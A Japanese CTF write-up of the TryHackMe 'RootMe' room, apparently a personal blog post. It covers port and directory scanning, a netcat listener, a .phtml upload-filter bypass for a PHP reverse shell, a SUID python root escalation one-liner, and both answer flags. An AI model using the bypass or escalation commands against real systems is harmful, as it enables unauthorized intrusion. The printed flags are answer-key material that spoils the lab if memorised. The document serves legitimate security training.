概要
TryHackMe「RootMe」のWalkthroughです。
Task2
Q1.Scan the machine, how many ports are open?
Hint.Use nmap to do a port scan.
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.31.96
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 22:16 EDT
Nmap scan report for 10.10.31.96
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.17 seconds
ssh:22
,http:80
番のポートがオープンになっています。
A.2
Q2.What version of Apache is running?
ポートスキャンの結果からApacheのバージョンがわかりました。
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
A.2.4.29
Q3.What service is running on port 22?
ポートスキャンの結果から22番ポートではssh
が動作していると分かりました。
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
A.ssh
Q4.Find directories on the web server using the GoBuster tool.
Hint.gobuster dir -u MACHINE_IP -w WORDLIST_PATH
gobuster
でディレクトリを列挙します。
$ gobuster dir -u http://10.10.31.96 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.31.96
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 276]
/.hta (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/css (Status: 301) [Size: 308] [--> http://10.10.31.96/css/]
/index.php (Status: 200) [Size: 616]
/js (Status: 301) [Size: 307] [--> http://10.10.31.96/js/]
/panel (Status: 301) [Size: 310] [--> http://10.10.31.96/panel/]
/server-status (Status: 403) [Size: 276]
/uploads (Status: 301) [Size: 312] [--> http://10.10.31.96/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Q5.What is the hidden directory?
gobuster
の結果から/panel/
というパスが見つかりました。
A./panel/
Task3
Q1.user.txt
Hint.Search for "file upload bypass" and "PHP reverse shell".
先にnetcat
でリッスンしておきます。
$ nc -lvnp 1234
試しに適当なファイルをアップロードしてみます。
ポルトガル語でファイルのアップロードに成功したとメッセージが表示されました。
また、Veja!
のリンクをクリックすると、/uploads/
パスでアップロードしたファイルにアクセスできることが分かりました。
ここにリバースシェルコードをアップロードしてアクセスすればシェルを獲得できそうです。
試しにPHPのリバースシェルコードをアップロードしましたが、PHPは使用できないとメッセージが返ってきました。
HackTricks
を参考に色んな拡張子を試してみます。
試しに%20
を拡張子の後ろに付けるとアップロードに成功しました。
しかしファイルにアクセスしようとすると404
が返ってくるので失敗です。
phtml
にすることでアップロード、アクセス共に成功しシェルを獲得できました。
Burpで拡張子をブルートフォース攻撃してみても良かったかも。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.31.96] 36948
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
03:04:39 up 1:16, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
/var/www/user.txt
に一つ目のフラグがあります。
$ ls -l /var/www
ls -l /var/www
total 8
drwxr-xr-x 6 www-data www-data 4096 Aug 4 2020 html
-rw-r--r-- 1 www-data www-data 21 Aug 4 2020 user.txt
$ cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
A.THM{y0u_g0t_a_sh3ll}
Task4
Q1.Search for files with SUID permission, which file is weird?
Hint.find / -user root -perm /4000
SUID
ビットがセットされたプログラムを検索します。
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
SUIDビットの検索についての記事を投稿したので併せてご覧ください。
SUIDビットが設定されたファイルの検索方法
python
があるのでこれを使えそうですね。
/usr/bin/python
A./usr/bin/python
Q2.Find a form to escalate your privileges.
Hint.Search for gtfobins
GTFOBins
で権限昇格のテクニックを検索できます。
Q3.root.txt
エクスプロイトコマンドを実行し、root権限を取得出来ました。
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
whoami
root
/root/root.txt
を閲覧してルートフラグゲットです!
# ls -l /root
ls -l /root
total 4
-rw-r--r-- 1 root root 26 Aug 4 2020 root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
A.THM{pr1v1l3g3_3sc4l4t10n}